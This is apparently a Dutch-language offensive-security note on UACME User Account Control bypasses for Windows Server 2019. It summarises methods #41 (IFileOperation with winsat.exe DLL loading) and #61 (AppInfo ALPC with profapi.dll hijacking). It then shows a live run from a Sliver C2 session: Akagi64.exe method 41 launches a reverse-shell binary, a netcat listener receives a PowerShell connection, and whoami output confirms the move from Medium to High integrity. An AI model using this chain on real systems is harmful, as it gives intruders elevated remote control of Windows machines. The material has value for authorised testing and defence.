UACME: Defeating Windows User Account Control · GitHub
https://github.com/hfiref0x/uacme
Relevante UACME-methoden voor Windows Server 2019
Veel van de consumentengerichte UAC-bypasses in UACME (die vertrouwen op GUI-tools uit Windows 10/11) falen op Windows Server 2019 omdat die componenten simpelweg niet zijn geïnstalleerd. De methoden die gebruikmaken van COM-interfaces en Mock Folders zijn op servers echter het meest effectief.
Twee historisch belangrijke methoden in de UACME-catalogus voor deze specifieke Windows Server-builds zijn:
- Methode #41 (IFileOperation & WinSAT): Maakt gebruik van de IFileOperation COM-interface om een speciaal geprepareerde DLL naar een nagebouwde systeemmap (Mock Folder) te kopiëren. Vervolgens wordt de legitieme Windows Assessment Tool (winsat.exe) aangeroepen. Omdat winsat.exe automatisch met verhoogde rechten start (auto-elevate), laadt het de DLL in een high-integrity context.
- Methode #61 (AppInfo ALPC & Profapi): Richt zich op het misbruiken van de Application Information(AppInfo) service via ALPC-poorten, in combinatie met DLL-kapering van profapi.dll. Dit mechanisme omzeilt de restricties van de bestandscache in modernere Windows Server-omgevingen.
.
In action
from sliver C2
before : Mandatory Label\Medium Mandatory Level
execute -o Akagi64.exe 41 c:\\programdata\\rcat_178.224.123.45_8888.exe
[127.0.0.1] sliver (SECONDARY_FEDORA) > execute -o whoami /group [*] Successfully executed execute -o whoami /group [*] Got output: All Done <snip> by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192 --- working with [127.0.0.1] sliver (SECONDARY_FEDORA) > execute -o Akagi64.exe 41 c:\\programdata\\rcat_178.224.123.45_8888.exe [*] Execute: Akagi64.exe [41 c:\programdata\rcat_178.224.123.45_8888.exe] [*] Output:
.
rlwrap nc -nlvp 8888
$ rlwrap nc -nlvp 8888 listening on [any] 8888 ... connect to [192.168.1.41] from (UNKNOWN) [64.23.111.54] 54826 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Windows\system32> whoami /groups whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ============================================================= ================ ============ =============================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 PS C:\Windows\system32>
result : Mandatory Label\High Mandatory Level
.